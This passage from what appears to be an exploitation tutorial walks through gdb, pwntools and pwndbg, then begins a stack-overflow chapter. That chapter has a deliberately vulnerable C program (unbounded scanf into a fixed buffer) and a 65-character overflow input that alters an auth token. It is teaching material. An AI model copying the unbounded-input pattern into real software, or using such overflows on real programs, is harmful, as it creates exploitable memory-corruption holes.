Use the `nexti` command to step through a few more instructions, and the stack and instruction pointers will update automatically.

Next we'll set a breakpoint at the call to `scanf()`. We can find location of the `call` instruction with `disassemble`, set a breakpoint there with `break`, and stop at it with `continue`.

```
(gdb) disassemble main
Dump of assembler code for function main:
```

```
   0x00000000004005f6 <+0>:     push   rbp
   0x00000000004005f7 <+1>:     mov    rbp,rsp
   0x00000000004005fa <+4>:     sub    rsp,0x10
   0x00000000004005fe <+8>:     mov    rax,QWORD PTR fs:0x28
   0x0000000000400607 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040060b <+21>:    xor    eax,eax
   0x000000000040060d <+23>:    mov    edi,0x4006d4
   0x0000000000400612 <+28>:    call   0x4004b0 <puts@plt>
   0x0000000000400617 <+33>:    lea    rax,[rbp-0xc]
   0x000000000040061b <+37>:    mov    rsi,rax
   0x000000000040061e <+40>:    mov    edi,0x4006e0
   0x0000000000400623 <+45>:    mov    eax,0x0
   0x0000000000400628 <+50>:    call   0x4004e0 <__isoc99_scanf@plt>
   0x000000000040062d <+55>:    mov    eax,0x0
   0x0000000000400632 <+60>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x0000000000400636 <+64>:    xor    rdx,QWORD PTR fs:0x28
   0x000000000040063f <+73>:    je     0x400646 <main+80>
   0x0000000000400641 <+75>:    call   0x4004c0 <__stack_chk_fail@plt>
   0x0000000000400646 <+80>:    leave
   0x0000000000400647 <+81>:    ret
End of assembler dump.
(gdb) break *0x400628
Breakpoint 2 at 0x400628
(gdb) run
Starting program: /home/devneal/Security/REFE/textbook/elf

Breakpoint 1, 0x00000000004005fa in main ()
1: x/5i $rip
=> 0x4005fa <main+4>:   sub    rsp,0x10
   0x4005fe <main+8>:   mov    rax,QWORD PTR fs:0x28
   0x400607 <main+17>:  mov    QWORD PTR [rbp-0x8],rax
   0x40060b <main+21>:  xor    eax,eax
   0x40060d <main+23>:  mov    edi,0x4006d4
2: x/5xw $rsp
0x7fffffffdee0: 0x00400650      0x00000000      0xf7a2d830      0x00007fff
0x7fffffffdef0: 0x00000000
(gdb) continue
Continuing.
ELF example

Breakpoint 2, 0x0000000000400628 in main ()
1: x/5i $rip
=> 0x400628 <main+50>:  call   0x4004e0 <__isoc99_scanf@plt>
   0x40062d <main+55>:  mov    eax,0x0
   0x400632 <main+60>:  mov    rdx,QWORD PTR [rbp-0x8]
   0x400636 <main+64>:  xor    rdx,QWORD PTR fs:0x28
   0x40063f <main+73>:  je     0x400646 <main+80>
2: x/5xw $rsp
0x7fffffffded0: 0xffffdfc0      0x00007fff      0x3f318f00      0xf8ca2299
0x7fffffffdee0: 0x00400650
(gdb)
```

Now we can examine the arguments to `scanf()`. The first is a format string, which can be read by passing the `/s` flag to `x`, and the second is the address on the stack where the input will be stored.

```
(gdb) info registers $rdi $rsi
rdi            0x4006e0 4196064
rsi            0x7fffffffded4   140737488346836
(gdb) x/s 0x4006e0
0x4006e0:       "%d\n"
(gdb)
```

You can use the `stepi` instruction to step into the call to `scanf()`. Take a look around, then return to `main()` with the `return` command.

```
(gdb) stepi
0x00000000004004e0 in __isoc99_scanf@plt ()
1: x/5i $rip
=> 0x4004e0 <__isoc99_scanf@plt>:
    jmp    QWORD PTR [rip+0x200b4a]        # 0x601030
   0x4004e6 <__isoc99_scanf@plt+6>:     push   0x3
   0x4004eb <__isoc99_scanf@plt+11>:    jmp    0x4004a0
   0x4004f0:    jmp    QWORD PTR [rip+0x200b02]        # 0x600ff8
   0x4004f6:    xchg   ax,ax
2: x/5xw $rsp
0x7fffffffdec8: 0x0040062d      0x00000000      0xffffdfc0      0x00007fff
0x7fffffffded8: 0x3f318f00
(gdb) where
#0  0x00000000004004e0 in __isoc99_scanf@plt ()
#1  0x000000000040062d in main ()
(gdb) disassemble
Dump of assembler code for function __isoc99_scanf@plt:
=> 0x00000000004004e0 <+0>:     jmp    QWORD PTR [rip+0x200b4a]        # 0
    x601030
   0x00000000004004e6 <+6>:     push   0x3
   0x00000000004004eb <+11>:    jmp    0x4004a0
End of assembler dump.
(gdb) return
Make selected stack frame return now? (y or n) y
#0  0x000000000040062d in main ()
(gdb)
```

From here you can exit `gdb` with the `quit` command. This walkthrough has covered enough on `gdb` to get you started learning about it on your own. When in doubt, remember to use the `help` command or check the man page for `gdb`.

3 Tools of the Trade

By now you already know enough to start learning about and exploiting bugs, but you'll quickly find that a lot of the difficulty comes from figuring out how to do the things you want to. Interacting with a program, manipulating data, and finding the information you need used to involve mastering several different ad-hoc utilities. Now we have access to tools that were developed with exploitation in mind to make these small tasks as easy as possible so you can focus only on finding your exploit.

3.1 pwntools

`pwntools` is an exploit development framework written for python. It consists of several modules, each of which is designed to make a specific task much easier. pwntools has over 40 differet modules at the time of writing, but we'll only go over a few of the most useful ones here.

- `pwnlib.tubes` - sending and receiving data
- `pwnlib.util` - manipulating data

3.1.1 pwnlib.tubes

The `tubes` module is used for communication between your program and just about everything else. It has a number of submodules each of which are used to communicate over different interfaces. For example, `pwnlib.tubes.process` can communicate with any program you can run locally. Here is an example using some common shell utilities.

```
>>> p = process("cat")
>>> p.send("hello")
>>> p.read()
'hello'
>>> p.sendline("goodbye")
>>> p.readuntil("by")
'goodby'
>>> p.readline()
'e\n'
>>> p.shutdown()
>>> p = process(["echo", "test", "string"])
>>> p.readregex(".*str")
'test str'
>>> p.readline()
'ing\n'
```

`pwnlib.tubes.remote` is used to make a TCP or UDP connection to a remote host. It's counterpart, `pwnlib.tubes.listen` is used to receive those connections. An example is given below.

```
>>> l = listen(8888)
>>> r = remote("localhost", 8888)
>>> r.sendline("hello from remote")
>>> l.readline()
'hello from remote\n'
>>> l.send("hello from listen")
>>> r.readuntil("from")
'hello from'
>>> r.read()
' listen'
>>> r.send("{\"length\":\"7\", \"type\":\"ascii\", \"data\":\"network\"}")
>>> l.readregex("\"type\":\".*\"")
'{"length":"7", "type":"ascii"'
```

You'll notice that the `remote` and `listen` classes have some of the same methods as the `process` class. This is the beauty of the `tubes` module; it provides a single interface which can be used to communicate with multiple external processes. There are also submodules for serial ports and ssh communication, both of which use the same methods in the examples above. These methods are described in more detail below.

- `send` - sends data
- `sendline` - like send, but appends a newline before sending
- `read` / `recv` - receive data
- `readline` / `recvline` - receive data until a newline is found and return it
- `readuntil` / `recvuntil` receive data until the specified string is found, and return it
- `readregex` / `recvregex` - receive data until the specified regex is matched, then return it

3.1.2 `pwnlib.util`

The util module provides functions for several of the tasks that frequently come up when developing exploits. Submodules include the `fiddling` module for bit operations and converting between different formats, the `lists` module for manipulating lists, and the `packing` module for converting between numbers and their equivalent data strings.

```
>>> s = "pwntools is awesome"
>>> s_hex = enhex(s)
>>> s_hex
'70776e746f6f6c7320697320617765736f6d65'
>>> print hexdump(s)
00000000  70 77 6e 74  6f 6f 6c 73  20 69 73 20  61 77 65 73  |pwntools is awes|
00000010  6f 6d 65                                            |ome|
00000013
>>> unhex(s_hex) == s
True
>>>
>>> s_ord = ordlist(s)
>>> s_ord
[112, 119, 110, 116, 111, 111, 108, 115, 32, 105, 115, 32, 97, 119, 101, 115,
    111, 109, 101]
>>> s_ord[0] += 1
>>> s = unordlist(s_ord)
>>> s
'qwntools is awesome'
>>>
>>> val = 0xffffdeadbeefffff
>>> data = p64(val)
>>> data
'\xff\xff\xef\xbe\xad\xde\xff\xff'
>>> val == u64(data)
True
```

As before, here is a description of each of the functions and their uses.

- `enhex` - convert an ascii string to hexadecimal
- `unhex` - convert a hexadecimal string to ascii

- `hexdump` - return a hex dump of a hexadecimal string
- `ordlist` - convert a string to a list of ascii values
- `unordlist` - convert a list of ascii values to a string
- `p64` - pack an integer into a 64-bit machine word
- `u64` - unpack a 64-bit machine word into an integer

3.2 pwndbg

Although `gdb` is nice, it makes it unnecessarily difficult to find some of the information we need. `pwndbg` is an extension to `gdb` written with exploit development in mind. In addition to adding several useful commands, it also automatically displays program information at every breakpoint.

You can activate `pwntools` by either running `source <path_to_pwntools>` in `gdb` or by putting the line in `~/gdbinit`. Below is the output after opening `elf_example.c` in `pwndbg`.

```
> gdb elf
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Loaded 112 commands. Type pwndbg [filter] for a list.
Reading symbols from elf...(no debugging symbols found)...done.
pwndbg>
```

As explained in the help message, you can run `pwndbg` to display all of the commands added by `pwndbg`, and optionally add a filter to display only the commands that match the filter. All of the commands from vanilla `gdb` are still available in `pwndbg`. This means you can still use `ni`, `si`, `x`, etc., as usual.

The best way to see what `pwndbg` has to offer is to just start using it. Set a breakpoint at `main()` and stop at it.

```
pwndbg> b main
Breakpoint 1 at 0x4005fa
pwndbg> r
Starting program: /home/devneal/Security/REFE/textbook/example_code/elf

Breakpoint 1, 0x00000000004005fa in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x4005f6 (main)  push   rbp
```

```
 RBX  0x0
 RCX  0x0
*RDX  0x7fffffffdfb8  0x7fffffffe2ee  'XDG_VTNR=7'
*RDI  0x1
*RSI  0x7fffffffdfa8  0x7fffffffe2b8  0x65642f656d6f682f ('/home/de')
*R8   0x4006c0 (__libc_csu_fini)  ret
*R9   0x7ffff7de7ab0 (_dl_fini)  push   rbp
*R10  0x846
*R11  0x7ffff7a2d740 (__libc_start_main)  push   r14
*R12  0x400500 (_start)  xor    ebp, ebp
*R13  0x7fffffffdfa0  0x1
 R14  0x0
 R15  0x0
*RBP  0x7fffffffdec0  0x400650 (__libc_csu_init)  push   r15
*RSP  0x7fffffffdec0  0x400650 (__libc_csu_init)  push   r15
*RIP  0x4005fa (main+4)  sub    rsp, 0x10
[DISASM]
  0x4005fa <main+4>     sub    rsp, 0x10
   0x4005fe <main+8>     mov    rax, qword ptr fs:[0x28]
   0x400607 <main+17>    mov    qword ptr [rbp - 8], rax
   0x40060b <main+21>    xor    eax, eax
   0x40060d <main+23>    mov    edi, 0x4006d4
   0x400612 <main+28>    call   puts@plt                      <0x4004b0>

   0x400617 <main+33>    lea    rax, [rbp - 0xc]
   0x40061b <main+37>    mov    rsi, rax
   0x40061e <main+40>    mov    edi, 0x4006e0
   0x400623 <main+45>    mov    eax, 0
   0x400628 <main+50>    call   __isoc99_scanf@plt            <0x4004e0>
[STACK]
00:0000 rbp rsp  0x7fffffffdec0  0x400650 (__libc_csu_init)  push   r15
01:0008          0x7fffffffdec8  0x7ffff7a2d830 (__libc_start_main+240)  mov
    edi, eax
02:0010          0x7fffffffded0  0x0
03:0018          0x7fffffffded8  0x7fffffffdfa8  0x7fffffffe2b8  0
    x65642f656d6f682f ('/home/de')
04:0020          0x7fffffffdee0  0x1f7ffcca0
05:0028          0x7fffffffdee8  0x4005f6 (main)  push   rbp
06:0030          0x7fffffffdef0  0x0
07:0038          0x7fffffffdef8  0xbfb8facd527a9cd
[BACKTRACE]
  f 0           4005fa main+4
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint main
pwndbg>
```

`pwndbg` will automatically display the contents of the registers, the disassembled instructions around `rip`, the top of the stack, and a backtrace giving the current chain of function calls. You can display this information at any time with the `context` command. If you only want to see one of the sections, run `context` followed by the name of the section.

`pwndbg` provides the `nearpc` and `emulate` commands for displaying commands near `$rip` (also called the program counter). Note that these commands will only display commands that will be executed based on the current state of the program. This makes a significant difference when analyzing code with lots of jump instructions. Pause execution at the call to `puts()`.

```
pwndbg> nearpc
  0x4005fa <main+4>     sub    rsp, 0x10
   0x4005fe <main+8>     mov    rax, qword ptr fs:[0x28]
   0x400607 <main+17>    mov    qword ptr [rbp - 8], rax
   0x40060b <main+21>    xor    eax, eax
   0x40060d <main+23>    mov    edi, 0x4006d4
   0x400612 <main+28>    call   puts@plt                     <0x4004b0>

   0x400617 <main+33>    lea    rax, [rbp - 0xc]
   0x40061b <main+37>    mov    rsi, rax
   0x40061e <main+40>    mov    edi, 0x4006e0
   0x400623 <main+45>    mov    eax, 0
   0x400628 <main+50>    call   __isoc99_scanf@plt           <0x4004e0>
pwndbg> break *main+28
Breakpoint 2 at 0x400612
pwnbdg> c
Continuing.

0x0000000000400612 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x0
 RBX  0x0
 RCX  0x0
 RDX  0x7fffffffdfb8  0x7fffffffe2ee  'XDG_VTNR=7'
*RDI  0x4006d4  and    byte ptr [rbp + 0x78], r12b /* 'ELF example' */
 RSI  0x7fffffffdfa8  0x7fffffffe2b8  0x65642f656d6f682f ('/home/de')
 R8   0x4006c0 (__libc_csu_fini)  ret
 R9   0x7ffff7de7ab0 (_dl_fini)  push   rbp
 R10  0x846
 R11  0x7ffff7a2d740 (__libc_start_main)  push   r14
 R12  0x400500 (_start)  xor    ebp, ebp
 R13  0x7fffffffdfa0  0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdec0  0x400650 (__libc_csu_init)  push   r15
*RSP  0x7fffffffdeb0  0x7fffffffdfa0  0x1
*RIP  0x400612 (main+28)  call   0x4004b0
[DISASM]
   0x4005fa <main+4>     sub    rsp, 0x10
   0x4005fe <main+8>     mov    rax, qword ptr fs:[0x28]
   0x400607 <main+17>    mov    qword ptr [rbp - 8], rax
   0x40060b <main+21>    xor    eax, eax
   0x40060d <main+23>    mov    edi, 0x4006d4
  0x400612 <main+28>    call   puts@plt                     <0x4004b0>
        s: 0x4006d4  'ELF example'

   0x400617 <main+33>    lea    rax, [rbp - 0xc]
   0x40061b <main+37>    mov    rsi, rax
   0x40061e <main+40>    mov    edi, 0x4006e0
```

```
   0x400623 <main+45>    mov    eax, 0
   0x400628 <main+50>    call   __isoc99_scanf@plt           <0x4004e0>
[STACK]
00:0000 rsp  0x7fffffffdeb0  0x7fffffffdfa0  0x1
01:0008      0x7fffffffdeb8  0x4e5d491772575800
02:0010 rbp  0x7fffffffdec0  0x400650 (__libc_csu_init)  push   r15
03:0018      0x7fffffffdec8  0x7ffff7a2d830 (__libc_start_main+240)  mov    edi,
     eax
04:0020      0x7fffffffded0  0x0
05:0028      0x7fffffffded8  0x7fffffffdfa8  0x7fffffffe2b8  0x65642f656d6f682f
    ('/home/de')
06:0030      0x7fffffffdee0  0x1f7ffcca0
07:0038      0x7fffffffdee8  0x4005f6 (main)  push   rbp
[BACKTRACE]
  f 0           400612 main+28
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg>
```

Notice how `pwndbg` will automatically display the arguments to the call to `puts()`, and print it as a string. `pwndbg` offers several ways to display this information. `db` will display data as bytes, `dw` will display it as words, `dd` will display it as double words, `dq` will display it as quad words, and `ds` will display it as a string.

```
pwndbg> db 0x4006d4
00000000004006d4     45 4c 46 20 65 78 61 6d 70 6c 65 00 25 64 00 00
00000000004006e4     01 1b 03 3b 30 00 00 00 05 00 00 00 bc fd ff ff
00000000004006f4     7c 00 00 00 1c fe ff ff 4c 00 00 00 12 ff ff ff
0000000000400704     a4 00 00 00 6c ff ff ff c4 00 00 00 dc ff ff ff
pwndbg> dw 0x4006d4
00000000004006d4     4c45 2046 7865 6d61 6c70 0065 6425 0000
00000000004006e4     1b01 3b03 0030 0000 0005 0000 fdbc ffff
00000000004006f4     007c 0000 fe1c ffff 004c 0000 ff12 ffff
0000000000400704     00a4 0000 ff6c ffff 00c4 0000 ffdc ffff
pwndbg> dd 0x4006d4
00000000004006d4     20464c45 6d617865 00656c70 00006425
00000000004006e4     3b031b01 00000030 00000005 fffffdbc
00000000004006f4     0000007c fffffe1c 0000004c ffffff12
0000000000400704     000000a4 ffffff6c 000000c4 ffffffdc
pwndbg> dq 0x4006d4
00000000004006d4     6d61786520464c45 0000642500656c70
00000000004006e4     000000303b031b01 fffffdbc00000005
00000000004006f4     fffffe1c0000007c ffffff120000004c
0000000000400704     ffffff6c000000a4 ffffffdc000000c4
pwndbg> ds 0x4006d4
4006d4 'ELF example'
```

If you have a list of pointers in memory, you can resolve several of them at once with `dps` or `telescope`. This tends to be most useful for the stack, so if you run the commands with no arguments it will default to the stack.

```
pwndbg> dps
00:0000 rsp  0x7fffffffdeb0  0x7fffffffdfa0  0x1
01:0008      0x7fffffffdeb8  0x562ac01897d4100
02:0010 rbp  0x7fffffffdec0  0x400650 (__libc_csu_init)  push   r15
```

```
03:0018      0x7fffffffdec8  0x7ffff7a2d830 (__libc_start_main+240)  mov    edi,
     eax
04:0020      0x7fffffffded0  0x0
05:0028      0x7fffffffded8  0x7fffffffdfa8  0x7fffffffe2bb  0x65642f656d6f682f
    ('/home/de')
06:0030      0x7fffffffdee0  0x1f7ffcca0
07:0038      0x7fffffffdee8  0x4005f6 (main)  push   rbp
pwndbg>
```

Set a breakpoint at the call to `scanf()` and pause execution there. You'll notice that the arguments are a "%d" format string and a memory address, which is currently uninitialized. At this point you have 3 breakpoints: one at the start of `main()`, one at the call to `puts()` and one at the call to `scanf()`. Vanilla `gdb` provides `info breakpoints`, but `pwndbg` has a family of commands for breakpoint control. `bl` lists breakpoints, `bc` clears them, `be` and `bd` enables and disables them respectively, and `bp` sets them.

```
pwndbg> bp *main+50
Breakpoint 3 at 0x400628
pwndbg> c
Continuing.
ELF example

Breakpoint 3, 0x0000000000400628 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
 RAX  0x0
 RBX  0x0
*RCX  0x7ffff7b04290 (__write_nocancel+7)  cmp    rax, -0xfff
*RDX  0x7ffff7dd3780 (_IO_stdfile_1_lock)  0x0
*RDI  0x4006e0  and    eax, 0x1000064 /* '%d' */
*RSI  0x7fffffffdeb4  0x363f190000007fff
*R8   0x602000  0x0
*R9   0xd
*R10  0x7ffff7dd1b78 (main_arena+88)  0x602410  0x0
*R11  0x246
 R12  0x400500 (_start)  xor    ebp, ebp
 R13  0x7fffffffdfa0  0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdec0  0x400650 (__libc_csu_init)  push   r15
 RSP  0x7fffffffdeb0  0x7fffffffdfa0  0x1
*RIP  0x400628 (main+50)  call   0x4004e0
[DISASM]
   0x400612 <main+28>    call   puts@plt                      <0x4004b0>

   0x400617 <main+33>    lea    rax, [rbp - 0xc]
   0x40061b <main+37>    mov    rsi, rax
   0x40061e <main+40>    mov    edi, 0x4006e0
   0x400623 <main+45>    mov    eax, 0
  0x400628 <main+50>    call   __isoc99_scanf@plt           <0x4004e0>
        format: 0x4006e0  0x3b031b0100006425 /* '%d' */
        vararg: 0x7fffffffdeb4  0x363f190000007fff
```

```
   0x40062d <main+55>    mov    eax, 0
   0x400632 <main+60>    mov    rdx, qword ptr [rbp - 8]
   0x400636 <main+64>    xor    rdx, qword ptr fs:[0x28]
   0x40063f <main+73>    je     main+80                         <0x400646>

   0x400641 <main+75>    call   __stack_chk_fail@plt            <0x4004c0>
[STACK]
00:0000 rsp rsi-4  0x7fffffffdeb0  0x7fffffffdfa0  0x1
01:0008            0x7fffffffdeb8  0xeec7bf58363f1900
02:0010 rbp        0x7fffffffdec0  0x400650 (__libc_csu_init)  push   r15
03:0018            0x7fffffffdec8  0x7ffff7a2d830 (__libc_start_main+240)  mov
       edi, eax
04:0020            0x7fffffffded0  0x0
05:0028            0x7fffffffded8  0x7fffffffdfa8  0x7fffffffe2bb  0
    x65642f656d6f682f ('/home/de')
06:0030            0x7fffffffdee0  0x1f7ffcca0
07:0038            0x7fffffffdee8  0x4005f6 (main)  push   rbp
[BACKTRACE]
  f 0           400628 main+50
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint *main+50
pwndbg> bl
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x00000000004005f6 <main>
        breakpoint already hit 1 time
2       breakpoint     keep y   0x0000000000400612 <main+28>
        breakpoint already hit 1 time
3       breakpoint     keep y   0x0000000000400628 <main+50>
        breakpoint already hit 1 time
pwndbg> bd 1
pwndbg> r
Starting program: /home/devneal/Security/REFE/textbook/example_code/elf

Breakpoint 2, 0x0000000000400612 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
 RAX  0x0
 RBX  0x0
*RCX  0x0
*RDX  0x7fffffffdfb8  0x7fffffffe2f1  'XDG_VTNR=7'
*RDI  0x4006d4  and    byte ptr [rbp + 0x78], r12b /* 'ELF example' */
*RSI  0x7fffffffdfa8  0x7fffffffe2bb  0x65642f656d6f682f ('/home/de')
*R8   0x4006c0 (__libc_csu_fini)  ret
*R9   0x7ffff7de7ab0 (_dl_fini)  push   rbp
*R10  0x846
*R11  0x7ffff7a2d740 (__libc_start_main)  push   r14
 R12  0x400500 (_start)  xor    ebp, ebp
 R13  0x7fffffffdfa0  0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdec0  0x400650 (__libc_csu_init)  push   r15
 RSP  0x7fffffffdeb0  0x7fffffffdfa0  0x1
```

```
*RIP  0x400612 (main+28)  call   0x4004b0
[DISASM]
   0x4005fa <main+4>     sub    rsp, 0x10
   0x4005fe <main+8>     mov    rax, qword ptr fs:[0x28]
   0x400607 <main+17>    mov    qword ptr [rbp - 8], rax
   0x40060b <main+21>    xor    eax, eax
   0x40060d <main+23>    mov    edi, 0x4006d4
  0x400612 <main+28>    call   puts@plt                      <0x4004b0>
        s: 0x4006d4  'ELF example'

   0x400617 <main+33>    lea    rax, [rbp - 0xc]
   0x40061b <main+37>    mov    rsi, rax
   0x40061e <main+40>    mov    edi, 0x4006e0
   0x400623 <main+45>    mov    eax, 0
   0x400628 <main+50>    call   __isoc99_scanf@plt           <0x4004e0>
[STACK]
00:0000 rsp  0x7fffffffdeb0  0x7fffffffdfa0  0x1
01:0008      0x7fffffffdeb8  0x5a6d69cf5878bc00
02:0010 rbp  0x7fffffffdec0  0x400650 (__libc_csu_init)  push   r15
03:0018      0x7fffffffdec8  0x7ffff7a2d830 (__libc_start_main+240)  mov    edi,
     eax
04:0020      0x7fffffffded0  0x0
05:0028      0x7fffffffded8  0x7fffffffdfa8  0x7fffffffe2bb  0x65642f656d6f682f
    ('/home/de')
06:0030      0x7fffffffdee0  0x1f7ffcca0
07:0038      0x7fffffffdee8  0x4005f6 (main)  push   rbp
[BACKTRACE]
  f 0           400612 main+28
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint *0x400612
pwndbg> bl
Num     Type           Disp Enb Address            What
1       breakpoint     keep n   0x00000000004005f6 <main>
2       breakpoint     keep y   0x0000000000400612 <main+28>
        breakpoint already hit 1 time
3       breakpoint     keep y   0x0000000000400628 <main+50>
pwndbg>
```

pwndbg is packed with other neat commands that we'll go over as we come to the relevant exploits. It's worth spending some time getting comfortable working in pwndbg, as it's a very powerful tool for developing exploits.

Below is a list of a few useful pwndbg commands. These are more than enough to get started using pwndbg.

- context [registers / disassemmbly / stack / backtrace] - display information on the program state
- emulate / nearpc [address] - view disassembly near address or near the program counter by default
- argc - display number of program arguments
- argv - display program arguments

- db - display data as bytes
- dw - display data as words
- dd - display data as double words
- dq - display data as quad words
- ds - display data as strings
- dps - resolve pointers
- hexdump [address] - display hexdump of data at address
- bp - set breakpoint
- bd - disable breakpoint
- be - enable breakpoint
- bc - clear breakpoint
- bl - list breakpoints

4 Exploiting the Stack

4.1 Memory Corruption

Recall that the stack is used to handle nested function calls through stack frames and to store local variables. Since the stack grows upward toward lower memory addresses, variables on the stack are usually stored, with the most recently declared variables at the top and the least recently used variables at the bottom. This can cause problems when too much data is written to a buffer at the top of stack. All of the data will still be written, even if it means overwriting the variables beneath the buffer. Those variables will then be left with corrupt values.

This concept is best understood with an example. Consider the program below, which I've compiled with `gcc -o memory_corruption memory_corruption.c`.

```
#include <stdio.h>

void empty(void) {
    printf("You don't have permission to perform this action.\n");
}

void win(void) {
    printf("Access granted.\n");
}

void lose(void) {
    printf("Invalid auth token.\n");
}

typedef struct auth {
    char buf[64];
```

```
    long int token;
} auth;

int main(void) {
    auth a;
    memset(a.buf, 0, 64);
    a.token = 0;

    printf("Enter the password:\n");
    scanf("%s", a.buf);

    if (a.token == 0) {
        empty();
    } else if (a.token == 0xdeadbeef) {
        win();
    } else {
        lose();
    }
}
```

At first glance, it may seem impossible to call either `win()` or `lose()`. However, the call to `scanf()` is actually an unsafe write, and has the potential to overflow `a.buf`.

```
> ./memory_corruption
Enter the password:
I don't know it
You don't have permission to perform this action.
> python -c "print 'A' * 65" | ./memory_corruption
Enter the password:
Invalid auth token.
>
```

When we give the program 65 'A' characters as input, the auth token is no longer zero! Let's analyze this some more in `pwndbg`.

```
> gdb -q ./memory_corruption
Loaded 112 commands. Type pwndbg [filter] for a list.
Reading symbols from ./memory_corruption...(no debugging symbols found)...done.
pwndbg> b main
Breakpoint 1 at 0x40067d
pwndbg> r < <(python -c "print 'A' * 65")
Starting program: /home/devneal/Security/REFE/textbook/example_code/
    memory_corruption < <(python -c "print 'A' * 65")

Breakpoint 1, 0x000000000040067d in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x400679 (main)  push   rbp
 RBX  0x0
 RCX  0x0
*RDX  0x7fffffffdf98  0x7fffffffe2e1  'XDG_VTNR=7'
*RDI  0x1
*RSI  0x7fffffffdf88  0x7fffffffe29d  0x65642f656d6f682f ('/home/de')
*R8   0x400790 (__libc_csu_fini)  ret
```

```
*R9   0x7ffff7de7ab0 (_dl_fini)  push   rbp
*R10  0x846
*R11  0x7ffff7a2d740 (__libc_start_main)  push   r14
*R12  0x400550 (_start)  xor    ebp, ebp
*R13  0x7fffffffdf80  0x1
 R14  0x0
 R15  0x0
*RBP  0x7fffffffdea0  0x400720 (__libc_csu_init)  push   r15
*RSP  0x7fffffffdea0  0x400720 (__libc_csu_init)  push   r15
*RIP  0x40067d (main+4)  sub    rsp, 0x50
[DISASM]
  0x40067d <main+4>     sub    rsp, 0x50
   0x400681 <main+8>     mov    rax, qword ptr fs:[0x28]
   0x40068a <main+17>    mov    qword ptr [rbp - 8], rax
   0x40068e <main+21>    xor    eax, eax
   0x400690 <main+23>    lea    rax, [rbp - 0x50]
   0x400694 <main+27>    mov    edx, 0x40
   0x400699 <main+32>    mov    esi, 0
   0x40069e <main+37>    mov    rdi, rax
   0x4006a1 <main+40>    call   memset@plt                    <0x400510>

   0x4006a6 <main+45>    mov    qword ptr [rbp - 0x10], 0
   0x4006ae <main+53>    mov    edi, 0x4007fe
[STACK]
00:0000 rbp rsp  0x7fffffffdea0  0x400720 (__libc_csu_init)  push   r15
01:0008          0x7fffffffdea8  0x7ffff7a2d830 (__libc_start_main+240)  mov
    edi, eax
02:0010          0x7fffffffdeb0  0x0
03:0018          0x7fffffffdeb8  0x7fffffffdf88  0x7fffffffe29d  0
    x65642f656d6f682f ('/home/de')
04:0020          0x7fffffffdec0  0x1f7ffcca0
05:0028          0x7fffffffdec8  0x400679 (main)  push   rbp
06:0030          0x7fffffffded0  0x0
07:0038          0x7fffffffded8  0x701cb6d5ca9d4ec1
[BACKTRACE]
  f 0           40067d main+4
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint main
pwndbg> pdisass main 14
  0x400679 <main>        push   rbp
   0x40067a <main+1>      mov    rbp, rsp
   0x40067d <main+4>      sub    rsp, 0x50
   0x400681 <main+8>      mov    rax, qword ptr fs:[0x28]
   0x40068a <main+17>     mov    qword ptr [rbp - 8], rax
   0x40068e <main+21>     xor    eax, eax
   0x400690 <main+23>     lea    rax, [rbp - 0x50]
   0x400694 <main+27>     mov    edx, 0x40
   0x400699 <main+32>     mov    esi, 0
   0x40069e <main+37>     mov    rdi, rax
   0x4006a1 <main+40>     call   memset@plt                    <0x400510>

   0x4006a6 <main+45>     mov    qword ptr [rbp - 0x10], 0
```

```
   0x4006ae <main+53>     mov    edi, 0x4007fe
   0x4006b3 <main+58>     call   puts@plt                      <0x4004f0>

   0x4006b8 <main+63>     lea    rax, [rbp - 0x50]
   0x4006bc <main+67>     mov    rsi, rax
   0x4006bf <main+70>     mov    edi, 0x400812
   0x4006c4 <main+75>     mov    eax, 0
   0x4006c9 <main+80>     call   __isoc99_scanf@plt            <0x400530>

   0x4006ce <main+85>     mov    rax, qword ptr [rbp - 0x10]
   0x4006d2 <main+89>     test   rax, rax
   0x4006d5 <main+92>     jne    main+101                      <0x4006de>

   0x4006d7 <main+94>     call   empty                         <0x400646>

   0x4006dc <main+99>     jmp    main+127                      <0x4006f8>

   0x4006f8 <main+127>    mov    eax, 0
   0x4006fd <main+132>    mov    rcx, qword ptr [rbp - 8]
   0x400701 <main+136>    xor    rcx, qword ptr fs:[0x28]
   0x40070a <main+145>    je     main+152                      <0x400711>

   0x40070c <main+147>    call   __stack_chk_fail@plt          <0x400500>
pwndbg> b *main+80
Breakpoint 2 at 0x4006c9
pwndbg> c
Continuing.
Enter the password:

Breakpoint 2, 0x00000000004006c9 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x0
 RBX  0x0
*RCX  0x7ffff7b04290 (__write_nocancel+7)  cmp    rax, -0xfff
*RDX  0x7ffff7dd3780 (_IO_stdfile_1_lock)  0x0
*RDI  0x400812  and    eax, 0x73 /* '%s' */
*RSI  0x7fffffffde50  0x0
*R8   0x602000  0x0
*R9   0xd
*R10  0x7ffff7dd1b78 (main_arena+88)  0x602410  0x0
*R11  0x246
